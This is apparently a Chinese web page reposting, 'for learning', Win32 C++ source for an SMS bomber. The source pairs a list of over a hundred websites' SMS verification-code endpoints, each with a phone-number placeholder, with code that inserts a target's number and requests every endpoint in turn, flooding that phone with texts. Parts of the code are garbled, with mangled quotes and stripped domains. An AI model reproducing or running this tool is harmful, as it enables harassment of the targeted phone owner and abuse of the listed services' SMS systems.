求易语言短信轰炸机接口可用网站接口

短信轰炸机电脑版利用网络短信验证码接口实现手机短信轰炸 (历史代码,贴出学习) - 推酷
利用网络短信验证码接口实现手机短信轰炸 (历史代码,贴出学习)
//resource.h
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
#define IDD_DLG_PROC
#define IDR_BIT1
#define IDB_BITMAP1
#define IDI_ICON1
#define IDC_BTN_SEND
#define IDC_LIST_VIEW
#define IDC_EDIT_PHONE
#define IDC_EDIT_COUNTER
#define IDC_PROGRESS_STATUS
#define IDC_CHECK1
#define IDC_CHECK_CONTINUE
#define IDC_STATIC_NUM
#define IDM_OPEN
#define IDM_DEL
// Next default values for new objects
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE
#define _APS_NEXT_COMMAND_VALUE
#define _APS_NEXT_CONTROL_VALUE
#define _APS_NEXT_SYMED_VALUE
//InitialComm.h
#include &Windows.h&
#include &CommCtrl.h&
#pragma comment(lib,&Comctl32.lib&)
#include &tchar.h&
ONEHUNDRED 100
MAXSIZE ONEK*ONEK*5
CLRBACK RGB(11,11,11)
CLRTEXT RGB(111,111,111)
CLRTEXTBACK RGB(211,211,211)
CLRDLGBACK RGB(255,0,255)
#define GCL_HBRBACKGROUND
typedef struct _Lv_ITEM
LPTSTR lvD
LPTSTR lvH
LPTSTR lvSaveP
}*PLv_ITEM,Lv_ITEM;
typedef struct _ThreadParam
LPTSTR lpszWebS
PLv_ITEM pLv;
}*pThreadParam,ThreadP
void ListView_SetColorInfo(HWND hLVctrl)
ListView_SetBkColor(hLVctrl,CLRBACK);
ListView_SetTextBkColor(hLVctrl,CLRTEXTBACK);
ListView_SetTextColor(hLVctrl,CLRTEXT);
void ListView_Initial(HWND hLVctrl)
lv.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT;
lv.fmt = LVCFMT_LEFT;
lv.pszText = _T(&REQEST ID&);
lv.cchTextMax = lstrlen(lv.pszText);
lv.cx = ListView_GetStringWidth(hLVctrl, lv.pszText) + 20;
ListView_InsertColumn(hLVctrl, 0, &lv);
lv.pszText = _T(&DATA SIZE&);
lv.cchTextMax = lstrlen(lv.pszText);
lv.cx = ListView_GetStringWidth(hLVctrl, lv.pszText) + 30;
ListView_InsertColumn(hLVctrl, 1, &lv);
lv.pszText = _T(&RESPONSE&);
lv.cchTextMax = lstrlen(lv.pszText);
lv.cx = ListView_GetStringWidth(hLVctrl, lv.pszText) + 100;
ListView_InsertColumn(hLVctrl, 2, &lv);
lv.pszText = _T(&PATH&);
lv.cchTextMax = lstrlen(lv.pszText);
lv.cx = ListView_GetStringWidth(hLVctrl, lv.pszText) + 255;
ListView_InsertColumn(hLVctrl, 3, &lv);
ListView_GetCurrentNrow(HWND ghListView)
int nRow=0;
for (int i=0;i&ListView_GetItemCount(ghListView);i++)
if (ListView_GetItemState(ghListView,i,LVIS_SELECTED)==LVIS_SELECTED)
ListView_OpenSavedFile(HWND ghListView)
char chPathIndexText[ONEK]={0};
char chIDIndexText[200]={0};
nRow=ListView_GetCurrentNrow(ghListView);
ListView_GetItemText(ghListView,nRow,3,chPathIndexText,ONEK*sizeof(char));
ShellExecuteA(NULL,&OPEN&,chPathIndexText,NULL,NULL,SW_SHOWNORMAL);
ListView_DeleteSavedFile(HWND ghListView)
char chPathIndexText[ONEK]={0};
char chIDIndexText[20]={0};
nRow=ListView_GetCurrentNrow(ghListView);
ListView_GetItemText(ghListView,nRow,3,chPathIndexText,ONEK*sizeof(char));
DeleteFile(chPathIndexText);
ListView_SetSelectionMark(ghListView,nRow);
MessageBox(NULL,&DELETE OK&,&TIPS&,MB_OK);
ListView_SetItemState(ghListView,nRow,LVIS_DROPHILITED,LVIS_OVERLAYMASK);
VOID ListView_InsertLVItem(HWND hList, PLv_ITEM pItem)
szBuf[64];
iItem = ListView_GetItemCount(hList);
wsprintf(szBuf, _T(&ID00%d&), pItem-&iIndex);
lvItem.mask = LVIF_TEXT | LVIF_PARAM;
lvItem.iItem = iI
lvItem.iSubItem = 0;
lvItem.pszText = szB
lvItem.cchTextMax = lstrlen(lvItem.pszText);
lvItem.lParam = (LPARAM)pI
if((lvItem.iItem = ListView_InsertItem(hList, &lvItem)) != -1)
lvItem.mask = LVIF_TEXT;
lvItem.iSubItem = 1;
lvItem.pszText = pItem-&lvD
lvItem.cchTextMax = lstrlen(lvItem.pszText);
ListView_SetItem(hList, &lvItem);
lvItem.iSubItem = 2;
lvItem.pszText =pItem-&lvH
lvItem.cchTextMax = lstrlen(lvItem.pszText);
ListView_SetItem(hList, &lvItem);
lvItem.iSubItem = 3;
lvItem.pszText = pItem-&lvSaveP
lvItem.cchTextMax =lstrlen(lvItem.pszText);
ListView_SetItem(hList, &lvItem);
LPARAM ListView_GetSelectData(HWND hListWnd)
lvItem.iItem = ListView_GetNextItem(hListWnd, -1, LVNI_SELECTED);
if(lvItem.iItem == -1)
return -1;
lvItem.mask = LVIF_PARAM;
if(ListView_GetItem(hListWnd, &lvItem) == -1)
return -1;
return lvItem.lP
#include &string&
std::string pstrTargetWebsiteInterface[BOMBSNUM]=
&//member/ajax/send_identity_code_by_mobile.do?callback=jQuery&mobile=%phone_number%&area=86&isBizMobile=true&,
&https://affiliate-/gp/associates/apply/assoc-ivs.html?phoneNumber=%2B86%phone_number%&operation=start&ts=1&,
&/lars/send-login-validate-code.jsaonp?callback=jQuery&userId=%phone_number%&,
&/handler/GetPhoneRegAuthCodeHandler.ashx?a=135&userid=%phone_number%&,
&https://affiliate-/gp/associates/apply/assoc-ivs.html?phoneNumber=%2B86%phone_number%&operation=start&ts=2&,
&/smsApi/sendsmscode?account=%phone_number%&condition=2&r=0.3853&callback=QiUserJsonP2&,
&https://affiliate-/gp/associates/apply/assoc-ivs.html?phoneNumber=%2B86%phone_number%&operation=start&ts=&,
&yw.net//ajax.php?action=getverify&mobile=%phone_number%&,
&/?act=ajax.registGetMobileCode&mobile=%phone_number%&type=regist&,
&/sendmobile.html?phone=%phone_number%&{}&_=4&,
&/register.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTYzNzEwOTYxOA9kFgJmD2QWDAIFDw8WAh4EVGV4dAULMTU5NTAxMjgwMzZkZAIHDw8WBh8ABQblj6%2FnlKgeCENzc0NsYXNzBQ5yX2NfY19yX2NoZWNrMR4EXyFTQgICZGQCDQ8PZBYCHgV2YWx1ZQUJamlhbmdsaWxpZAIPDw8WBh8ABQbpgJrov4cfAQUOcl9jX2Nfcl9jaGVjazEfAgICZGQCEQ8PZBYCHwMFCWppYW5nbGlsaWQCEw8PFgYfAAUG6YCa6L%2BHHwEFDnJfY19jX3JfY2hlY2sxHwICAmRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uMoC6NmiwUtO9MaSDo%2BblDqWjloj5&txtact=%phone_number%&hidfoc=&hidisOk=1&txtpwd=jianglili&txtrepwd=jianglili&txtcode=&ImageButton1.x=59&ImageButton1.y=11&,
&https://affiliate-/gp/associates/apply/assoc-ivs.html?phoneNumber=%2B86%phone_number%&operation=start&ts=%phone_number%&,
&/gaea/SendPhoneMsg.ashx?page=REG&mobile=%phone_number%&,
&/sms.e?name=%e8%93%9d%e8%93%9d%e5%a4%a9%e7%a9%ba&mobile=%phone_number%&action=sms&usid=9&&,
&/ajax/mobile/register.xhtml?mobile=%phone_number%&captchaId=&captcha=&,
&/t2/tologin.do?mnd=%phone_number%&qr=1&,
&/register.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUKLTYzNzEwOTYxOA9kFgJmD2QWDAIFDw8WAh4EVGV4dAULMTU5NTAxMjgwMzZkZAIHDw8WBh8ABQblj6%2FnlKgeCENzc0NsYXNzBQ5yX2NfY19yX2NoZWNrMR4EXyFTQgICZGQCDQ8PZBYCHgV2YWx1ZQUJamlhbmdsaWxpZAIPDw8WBh8ABQbpgJrov4cfAQUOcl9jX2Nfcl9jaGVjazEfAgICZGQCEQ8PZBYCHwMFCWppYW5nbGlsaWQCEw8PFgYfAAUG6YCa6L%2BHHwEFDnJfY19jX3JfY2hlY2sxHwICAmRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBQxJbWFnZUJ1dHRvbjEFDEltYWdlQnV0dG9uMoC6NmiwUtO9MaSDo%2BblDqWjloj5&txtact=%phone_number%&hidfoc=&hidisOk=1&txtpwd=zhasini&txtrepwd=zhasini&txtcode=&ImageButton1.x=59&ImageButton1.y=11&,
&http://wap./X/o/117/mva0?a=/enduser/querySMSValiCodeByWap20.action&templateDir=template&theme=simple&name=querySMSValiCode&id=querySMSValiCode&downId=&operateType=1&isPass=true&user.accountName=%phone_number%&Submit=%E4%B8%8B%E4%B8%80%E6%AD%A5&,
&/pams2/s/s.do?c=204&j=l&lpt=1&mobile=%phone_number%&p=72&,
&/www/firstpage/getValidateCode.action?phone=%phone_number%&sf=0&,
&/www/NiceNameAjax?msisdn=%phone_number%&e_cm=cmmobile&,
&/service/send_chk_no.xhtml?REG_MBL_NO=%phone_number%&SMS_CD=URM001&typ=Y&r=0.5905&,
&/account/RegisterLv3Ajax?stype=m&stext=%phone_number%&,
&http://my./password/findpasswordvalidate?type=0&account=%phone_number%&,
&http://218.206.191.106/idm/usermgr/usernameCheck?mobilePhone=%phone_number%&,
&/index.do?method=doReg&mobile=%phone_number%&source=reg&,
&/registerForMobileForCode.act?mobileNo=%phone_number%&,
&/sso/oauth2/msisdnRegister?e_l=1&f=7718&pg=221&msisdn=%phone_number%&passwd=1415926&,
&/emReg/isMobileEngaged?mobile=%phone_number%&r=0.94953&,
&http://shoujibao.net/pams2/m/s.do?j=l&c=31879&p=73&mobile=%phone_number%&password=1415926&,
&/Handler/Vcode.ashx?mobile=%phone_number%&,
&/wap/webcallService.aspx?tel=%phone_number%&,
&/get/IsUser.aspx?phone=%phone_number%&quhao=86&,
&/get/SendMessage.aspx?phone=%phone_number%&ccode=86&type=1&,
&/forgetpwd.aspx?ScriptManager1=UpdatePanel1|ImageButton2&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExMjY2ODE5MTgPFgYeCFRpbWVTcGFuBqpmMwD38M%2BIHgRjb2RlBQQ0MjY1HgRhY2N0BQsxNTgzODgwMjA0MmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgMFDEltYWdlQnV0dG9uMgUMSW1hZ2VCdXR0b24xBQxJbWFnZUJ1dHRvbjPdI0AXCiz2XIYks0CPZpmkSSEMDg%3D%3D&txtacct=%phone_number%&txtcode=7426&txtpwd=&txtrepwd=&ImageButton2.x=76&ImageButton2.y=18&,
&http://www.wcall.net/ajax/send_captcha.jsp?mobile=86%phone_number%&,
&/wap/reg.aspx?__VIEWSTATE=%2FwEPDwUKLTg3MDQ4MjcyNGRkTWAEkK5GOtWg8l1At7LuQLJsrtk%3D&__EVENTVALIDATION=%2FwEWBwLf79jTDQL7h7XWDwKd%2B7q4BwLinreAAgLChPzDDQK7q7GGCAKM54rGBiIS9Dt7i1j1h%2BDtH9EcyHIWJVZf&txtacct=%phone_number%&txtpwd=&txtRepwd=&txtCode=&Button2=%E8%AF%AD%E9%9F%B3%E8%8E%B7%E5%8F%96%E9%AA%8C%E8%AF%81%E7%A0%81/ajax/mobile/register.xhtml?mobile=%phone_number%&captchaId=&captcha=&,
&/checkMember.xhtml?tag=mobile&itemvalue=%phone_number%&,
&/ajax/json/account/reg/mobile/send?m=%phone_number%&,
&/openRegU!checkNumber.jhtml?basicProfile.mobile=%phone_number%&,
&http://www.efala.net/newfindpwbysms.flow?byname=%phone_number%&,
&/zjpr/member/authentication/sendValidatePhone.html?phone=%phone_number%&,
&/signup/v5/formcheck?type=mobile&value=%phone_number%&__rnd=6&,
&http://api./cas/register/mobi/resendVCode?uc_param_str=einisivelafrpf&client_id=20033&from=cas&mobi=%phone_number%&,
&/ptlogin/sendRegPhoneCode.do?phone=%phone_number%&appId=www_home&v=1&v=1&,
&/u/bindMobile?__rt=1&__ro=&mobile=%phone_number%&,
&/actions/changesafemobile/sendmobilecaptcha?ajax-type=json&token=1ZhR7iv65SgaNXliuA7mujgTO3s3k1CL&mobile=%phone_number%&requestToken=&_rtk=e95787e6&,
&.cn/user/ajax/sendMsgCode.php?phone=%phone_number%&,
&/login/BeginRegister.ashx?action=sendmobilecode&key=%phone_number%&validatecode=&_=9&,
&/chkphone.aspx?flag=check&m=%phone_number%&,
&/chkphone.aspx?flag=resend&m=%phone_number%&,
&tv.cn/mobileRegister.do?msisdn=%phone_number%&verfiCodeType=1&method=getRequestVerifiCode&,
&/register/validateMobile.jsps?mobile=%phone_number%&,
&/libs/xajax/reguser.server.php?processSendOrUpdateMessage&xajax=processSendOrUpdateMessage&xajaxargs%5B%5D=%3Cxjxquery%3E%3Cq%3Emobile%3Dd$%3C%2Fq%3E%3C%2Fxjxquery%3E&xajaxargs%5B%5D=mobile&xajaxr=4&,
&/emReg/sendMobileCode?mobile=%phone_number%&r=0.9119&,
&/emall/SNCellPhoneRegisterCmd?actionType=reSendValCode&logonId=%phone_number%&URL=SNUserRegisterComfirmView&_=1&,
&/security/secret/mobile/adm.action?time=8&mobile=%phone_number%&,
&/registerForMobileForCode.act?mobileNo=%phone_number%&smSecurityCode=&,
&/index.php?register&flag=flag?=%phone_number%&mss=on&,
&http://zg51.net/web/customer/forgetPwd_up.asp?customermobile=%phone_number%&verify=01f735f97f1af959&checkcodeflag=1&,
&/free/getExpCode.do?_isAjaxRequest=true&phonemail=%phone_number%&type=1&randvalue=&,
&/findAccountInfoByAccount.act?mobile=%phone_number%&,
&/index.php?register?phone=%phone_number%&,
&/bindMobileCode.act?account=%phone_number%&quhao=0086&,
&/user/regnum.html?phone=%phone_number%&type=1&key=ofoedsv0oeg6aari1m3ig0nsc5&,
&/invite/invitesms.html?phone=%phone_number%&key=ofoedsv0oeg6aari1m3ig0nsc5&,
&/invite/regnum.html?phone=%phone_number%&type=1&key=ofoedsv0oeg6aari1m3ig0nsc5&,
&/invite/register.html?p=cGhvbmV8MTU4Mzg4MDIwNDJ8Y2hrY29kZXw4OTczfGRhdGV8MjAxMy0wMy0xNw==&,
&/download/smsdownload.html?popPhone=%phone_number%&phoneType=Iphone&popKey=ofoedsv0oeg6aari1m3ig0nsc5&,
&/user/regnum.html?phone=%phone_number%&type=1&key=h5u9albk8oveqm17rfo6kvo226&,
&http://my./user/reg/getmstatus.do?passport=%phone_number%&,
&/user/mobileRegCode/mobile/%phone_number%/mobilecodeletvid/k388&,
&/gaea/SendPhoneMsg.ashx?page=REG&mobile=%phone_number%&,
&http://download./download/downloadFLToMobile.action?id=50&no=%phone_number%&isCheckCode=1&,
&http://my./password/sendfindpasswordsms?MobileNo=%phone_number%&,
&/im5/register/checkMobile.action?mobileNo=%phone_number%&,
&/cgi-bin/bd/send_sms?acc=%phone_number%&bkn=&v=0.2199&,
&/signup/v5/formcheck?type=sendsms&value=%phone_number%&__rnd=6/hm.gif?cc=1&ck=1&cl=16-bit&ds=&ep=%E8%8E%B7%E5%8F%96%E9%AA%8C%E8%AF%81%E7%A0%81*%E7%82%B9%E5%87%BB&et=4&fl=11.6&ja=1&ln=zh-cn&lo=0&nv=1&rnd=&si=4cd143dc65f&st=3&su=.cn%2Fbbs%2Fthread-c-148-.html&v=1.0.40&lv=1&api=8_0&tt=%E7%94%A8%E6%88%B7%E6%B3%A8%E5%86%8C_%E6%B1%BD%E8%BD%A6%E4%B9%8B%E5%AE%B6&,
&/uc/ajax/obtainSecurityCode4Regist.html?username=%phone_number%&,
&http://www.efala.net/getcode.flow?phone=%phone_number%&cardno=&code=&&,
&/NoteAction.do?method=sendRegCode&mobile=%phone_number%&,
&/member/SendCode.ashx?temptime=1&m=%phone_number%&,
&/index.php?act=ajax.checkUsername&user_name=%phone_number%&,
&http://reg./unireg/call.do?cmd=added.mobileverify.sendAcode&mobile=%phone_number%&uid=%phone_number%%&mark=mobile_start&,
&/chkphone.aspx?flag=resend&m=%phone_number%&,
&/ajax/users/checkusername.aspx?u=%phone_number%&r=0.03756&,
&/findAccountInfoByAccount.act?mobile=%phone_number%&,
&.cn/user/ajax/sendMsgCode.php?phone=%phone_number%&,
&/v2/checkusername?jsoncallback=jQuery&username=%phone_number%&_=1&,
&/mobiles/send_validation_code?mobile_number=%phone_number%&,
&/reg_index_check_0.html?type=username&is=mobile&username=%phone_number%&,
&http://interface./ActivityCenter/?catalog=plugins&gameid=all&aname=reg&method=reg.subUserInfo&mobile=%phone_number%&callback=jQuery&_=6&,
&/register/NewIsExist/?uid=%phone_number%&,
&/handler/GetPhoneRegAuthCodeHandler.ashx?a=0.329404&userid=%phone_number%&,
&/register/checkPhoneIsUsed.do?securityPhone=%phone_number%&,
&/member/sendRegisterVerifyCode?reg_mobile=%phone_number%&,
&/acc.do?m=sendPhoneVcodeFast&callback=jQuery?=%phone_number%&smsvcode=%E8%BE%93%E5%85%A5%E6%89%8B%E6%9C%BA%E8%8E%B7%E5%8F%96%E7%9A%84%E9%AA%8C%E8%AF%81%E7%A0%81&_=0&,
&/myaccount/mobile_ajax.aspx?refresh=0&i_mobileNo=%phone_number%&,
&/SMSAuthentication/SMSAuthenticationPage.aspx/btnGenerateCheckCode_Click?(Content)=%7Bcellnum%3A'%phone_number%'%7D&,
&/ajax/register.asp?mobile=%phone_number%&areacode=86&,
&/register_2.jsp?phoneNumber=%phone_number%&,
&/index.php?action=vphone?uphone=%phone_number%&,
&/index.php?register?=%phone_number%&,
&http://w./intf.php?method=Sms.issue&qid=&devtype=box&v=1.9.2.1245&devid=5b5b55bfc9f1ff1350adc65&devname=&rtick=6969759&sign=aa8d029eddc4c57&ofmt=xml&pid=home&mobile=%phone_number%&contype=mdu&token=.6.6401362&,
&/handler/GetPhoneRegAuthCodeHandler.ashx?a=0.3851&userid=%phone_number%&,
&/chkphone.aspx?flag=resend&m=%phone_number%&,
&/Member/RegisterHandler.ashx?action=phone?=%phone_number%&iid=0.8694&,
&/t/signup.do?mobile=%phone_number%?=%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81%E7%9F%AD%E4%BF%&,
&http://m./reg.s?regtype=mobile&method=registerMobile&mobile_num=%phone_number%&password=testtest&password2=testtest&action=%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C%E4%BF%A1%E6%81%AF=400&,
&/common/send-sms.html?tel=%phone_number%&,
&/home/SendSms?mobile=%phone_number%&,
&/common/msgsend/?m=%phone_number%&t=2&method=SendAPPDownLoadSMSCallback&fromid=weblogin&r=0.5355&,
&/authen/checkAccountType.jsonp?callback=checkAccountType_JSONPMethod&inputUserId=%phone_number%&,
&/lars/check-account-types.jsonp?callback=jQuery&userId=%phone_number%&_=2&,
&/userreg/AjaxHandler.ashx?method=getPhoneCode?mobilePhone=%phone_number%&type=0&,
&/?module=default&controller=Reg&action=sendSMS&b0=1&mobile=%phone_number%&appid=3&ucname=huisexinxi&,
&/a/msg?act=sendtomobile&f=topic_&mobile=%phone_number%&docid=1439803&ctime=0&,
&/a/msg?act=sendtomobile&f=web_alad_6%40next%40software_1003_6&mobile=%phone_number%&docid=1346020&ctime=1&,
&/json.php?mod=mobilebind&act=sendsms&mobile=%phone_number%&g_tk=null&,
&/handler/Register/Register.ashx?act=check&mobile=%phone_number%&checkCode=undefined&,
&/auth/regist_resetMsg.action?sso_userName=%phone_number%&isAjaxSubmit=true&,
&/accounts/signup_vcode/4449056/?mobile=%phone_number%&,
&.cn/Handler/SendMessage.ashx?action=sendcode&mob=%phone_number%&,
&http://yuyue./User/ajaxSendConfirmCode.aspx?mobile=%phone_number%&,
&/registe/mobilePhoneRegister?type=isBindPhoneNum&phoneNum=%phone_number%&,
&/ajax/auth/sendCode/?type=resetPassword&mobile=%phone_number%&,
&.cn/cgi-bin/phonecode.php?phonenumber=%phone_number%&,
&.cn/register/index/ajaxcheckmobile/?mobile=%phone_number%&,
&/account/v1/api/sendacodenormal?dest=%phone_number%&,
&https://reg./api/chk_loginname?loginname=%phone_number%&accounttype=reg_mobile&,
&.cn/signup/check_user.php?format=json&from=mobile&name=%phone_number%&,
&http://js./jsauth/reg?method=sendVerCode&=%phone_number%&,
&/register/isExist/0.7967?uid=%phone_number%&type=mobile&,
&/register/checkPhoneIsUsed.do?securityPhone=%phone_number%&,
&/AjaxAction/AC_register.ashx?action=verifyusernameofmobile&txtUserNameOfMobile=%phone_number%&,
&http://211.136.93.21/hfwebbusi/pay/saveOrder.do?mobileId=%phone_number%&,
&/NoteAction.do?method=sendRegCode?mobile=%phone_number%&,
&/lars/check-account-types.jsonp?callback=jQuery&userId=%phone_number%&_=0&,
&/validcode/json/mobile/%phone_number%/REG_MOBILE/cebaff9ad6c692b474a46f?_=5&,
&http://chinatelecom./cgi-bin/send_sms?phonenum=%phone_number%&stype=1&,
&/authen/sendPhoneCheckCode.jsonp?callback=sendPhoneCheckCode_JSONPMethod&inputUserId=%phone_number%&type=3&appId=201&areaId=0&serviceUrl=&,
&/public/ajax.aspx?app=resendcode&bindaccount=%phone_number%&,
&/register/getphoneverify/phone/%phone_number%&,
&/user/quick_signup.html?mobile=%phone_number%&,
&/ajax1.php?action=ds21&mobilenum=%phone_number%&inajax=1&ajaxtarget=ts&,
&/reg/mobilecode?type=reg&mobile=%phone_number%&r=0.5907&,
&/Handler/SendVerifyCodeHandler.ashx?m=%phone_number%&,
&/user/mobileRegCode/mobile/%phone_number%/mobilecodeletvid/c138&,
&/auth/regist_refresh.action?sso_userName=%phone_number%&resetSend=1&,
&https://sn./sendMsgRequest?mobileNumber=%phone_number%&,
&https://fj./SMSCodeSend?mobileNum=%phone_number%&validCode=0000&errorurl=https://fj./4login/errorPage.jsp&name=menhu&,
&https://fj./SMSCodeSend?mobileNum=%phone_number%&validCode=0000&errorurl=http://www.:80/service/login/send.jsp&,
&https://fj./ssouser/sendMessage.do?mobileno=%phone_number%&,
&http://www./gs_obsh_service/actionDispatcher.do?userMobile=%phone_number%&,
&https://sn./sendMsgRequest?code=%E7%82%B9%E5%87%BB%E8%8E%B7%E5%8F%96%E9%AA%8C%E8%AF%81%E7%A0%81&mobileNumber=%phone_number%&,
&https://js./jsauth/dzqd/pagSendDypass?umobile=%phone_number%&,
&/ngcrm/hall/SendRandomSms.action?mobile=%phone_number%&isReRequest=false&,
&/ECP-Portals/phoneDown/download.do?phone=%phone_number%&,
&/reg/servlet/ivrInvokeServlet?number=%phone_number%&flagNum=3&
//FuctionComm.h
#include&windows.h&
#include&wininet.h&
#include&winnls.h&
#include&time.h&
#include &stdio.h&
#include &stdlib.h&
#include &InitialComm.h&
#pragma comment(lib,&wininet.lib&)
TCHAR szErrMsg[200];
DWORD gdwID=0;
DWORD gdwTotalSize=0;
DWORD gdwCounterNumber=0;
TCHAR gchACounterSize[30]=&&;
#define _TXT(pstr) _T(pstr)
#define ERROR_MSG(pstr) MessageBox(NULL,pstr,_T(&ERROR_TIPS&),MB_OK)
extern HWND ghD
extern HWND ghEdtPhoneC
extern HWND ghEdtCounterC
extern HWND ghLvDataC
extern CRITICAL_SECTION
void CenterWindow(HWND hwnd)
nDlgWidth, nDlgH
nScreenWidth, nScreenH
nScreenWidth = GetSystemMetrics(SM_CXSCREEN);
nScreenHight = GetSystemMetrics(SM_CYSCREEN);
GetWindowRect(hwnd, &rcDlg);
nDlgWidth = rcDlg.right - rcDlg.
nDlgHight = rcDlg.bottom - rcDlg.
MoveWindow(hwnd, (nScreenWidth
- nDlgWidth) / 2,
(nScreenHight - nDlgHight) / 2, nDlgWidth, nDlgHight, FALSE);
void SetDlgPosition(HWND hDLG)
INT ScreenX=0,ScreenY=0;
ScreenX=GetSystemMetrics(SM_CXSCREEN);
ScreenY=GetSystemMetrics(SM_CYSCREEN);
GetWindowRect(hDLG,&rt);
ScreenX=(ScreenX-rt.right-rt.left)/2;
ScreenY=(ScreenY-rt.bottom-rt.top)/2;
MoveWindow(hDLG,ScreenX,ScreenY,rt.right-rt.left,rt.bottom-rt.top,FALSE);
HANDLE CreateTmpFile(char *pchRandFileName)
HANDLE hFile = CreateFileA(pchRandFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
return INVALID_HANDLE_VALUE;
DWORD FuncSaveFile(HANDLE hFile,CHAR *pachBuffer,DWORD dwDataSize)
DWORD nWritedBytes=0;
WriteFile(hFile,pachBuffer,dwDataSize,&nWritedBytes,NULL);
if (nWritedBytes==0)
return nWritedB
int GetRandomNum()
srand((unsigned int )time(NULL));
Sleep(20);
return rand();
void ClearResourceHandle(HINTERNET hOpen,HINTERNET hConnect,HINTERNET hRequest)
if (hRequest)
if (!InternetCloseHandle (hRequest))
wsprintf (szErrMsg, TEXT(&%s: %d&), TEXT(&CloseHandle Request Error&),
GetLastError());
if (hConnect)
if (!InternetCloseHandle (hConnect))
wsprintf (szErrMsg, TEXT(&%s: %d&), TEXT(&CloseHandle Connect Error&),
GetLastError());
if (hOpen)
if (!InternetCloseHandle (hOpen))
wsprintf (szErrMsg, TEXT(&%s: %d&), TEXT(&CloseHandle Open Error&),
GetLastError());
DWORD WINAPI CallBackHttpThreadProc (int Index,TCHAR *pchPhoneNum)
LPTSTR lpszWebSite=NULL;
HINTERNET hOpen=NULL,hConnect=NULL,hRequest=NULL;
PLv_ITEM pLV;
std::string::size_type iFoundPos=pstrTargetWebsiteInterface[Index].find(&%phone_number%&);
if (iFoundPos==std::string::npos)//npos==-1
return -1;
pstrTargetWebsiteInterface[Index].erase(iFoundPos,lstrlen(&%phone_number%&));
pstrTargetWebsiteInterface[Index].insert(iFoundPos,pchPhoneNum);
lpszWebSite=(TCHAR*)pstrTargetWebsiteInterface[Index].c_str();//;
DWORD dwSize = 0,
dwFlags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE;
char *lpBufferA=NULL,
*lpHeadersA=NULL;
WCHAR *lpBufferW=NULL,
*lpHeadersW=NULL;
LPTSTR AcceptTypes[2] = {TEXT(&*/*&), NULL};
hOpen = InternetOpen (TEXT(&HttpBomb&), INTERNET_OPEN_TYPE_PRECONFIG,
NULL, NULL, 0);
if (!hOpen)
wsprintf (szErrMsg, TEXT(&%s: %d&), TEXT(&InternetOpen Error&),
GetLastError());
return FALSE;
if (!(hRequest = InternetOpenUrl (hOpen, lpszWebSite, NULL, 0,
INTERNET_FLAG_RELOAD, 0)))
wsprintf (szErrMsg, TEXT(&%s: %d&), TEXT(&InternetOpenUrl Error&),
GetLastError());
return -1;
DWORD dwStatusSize = sizeof(dwStatus);
HttpQueryInfo(hRequest, HTTP_QUERY_FLAG_NUMBER |
HTTP_QUERY_STATUS_CODE, &dwStatus, &dwStatusSize, NULL);
switch (dwStatus)
case HTTP_STATUS_OK:
case HTTP_STATUS_DENIED:
HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwSize,NULL);
lpHeadersA= new CHAR [dwSize];//007
memset(lpHeadersA,0,dwSize*sizeof(CHAR));
if (!HttpQueryInfo(hRequest,
HTTP_QUERY_RAW_HEADERS_CRLF,
(LPVOID)lpHeadersA, &dwSize, NULL))//buffer size in byte
wsprintf (szErrMsg, TEXT(&%s: %d&), TEXT(&HttpQueryInfo&),
GetLastError());
return -1;
lpHeadersA [dwSize] = '\0';
dwSize=MultiByteToWideChar (CP_ACP, 0, lpHeadersA, -1, NULL, 0);
lpHeadersW = new WCHAR [dwSize+1];
MultiByteToWideChar (CP_ACP, 0, lpHeadersA, -1, lpHeadersW, dwSize);
CHAR chCurrPathDir[ONEHUNDRED*5]=&&,chARandFileName[ONEHUNDRED]=&&,gchATotalSize[ONEHUNDRED]=&&;;
itoa(GetRandomNum(),chARandFileName,10);
GetCurrentDirectoryA(sizeof(CHAR)*ONEHUNDRED*5,chCurrPathDir);
lstrcatA(chCurrPathDir,&\\&);
lstrcatA(chCurrPathDir,chARandFileName);
lstrcatA(chCurrPathDir,&.txt&);
HANDLE hFileHtml=CreateTmpFile(chCurrPathDir);
DWORD dwHtmlSize=0,dwWritedBytes=0;
dwWritedBytes=FuncSaveFile(hFileHtml,lpHeadersA,dwSize);
gdwTotalSize=gdwTotalSize+dwWritedB
lpBufferA = new CHAR [MAXSIZE];
memset(lpBufferA,0,MAXSIZE*sizeof(char));
if (!InternetReadFile(hRequest, (LPVOID)lpBufferA, MAXSIZE, &dwSize))
wsprintf(szErrMsg, TEXT(&%s: %d&), TEXT(&InternetReadFile Error&),
GetLastError());
return -1;
if (dwSize != 0)
dwWritedBytes=FuncSaveFile(hFileHtml,lpBufferA,dwSize);
gdwTotalSize=gdwTotalSize+dwWritedB
memset(lpBufferA,0,dwSize*sizeof(char));
} while (dwSize);
CloseHandle(hFileHtml);
wsprintf(gchATotalSize, TEXT(&%s:%d&), TEXT(&Bytes&),gdwTotalSize);
pLV=new Lv_ITEM;
gdwCounterNumber++;
pLV-&iIndex=gdwCounterN
pLV-&lvDataize=(LPTSTR)gchATotalS
pLV-&lvHeader=(LPTSTR)lpHeadersA;
pLV-&lvSavePath=(LPTSTR)chCurrPathD
ListView_InsertLVItem(ghLvDataCtrl,pLV);//
wsprintf(gchACounterSize, TEXT(&%s:%d----%s:%d/159&), TEXT(&Counter&),gdwCounterNumber,TEXT(&Percent&),gdwCounterNumber);
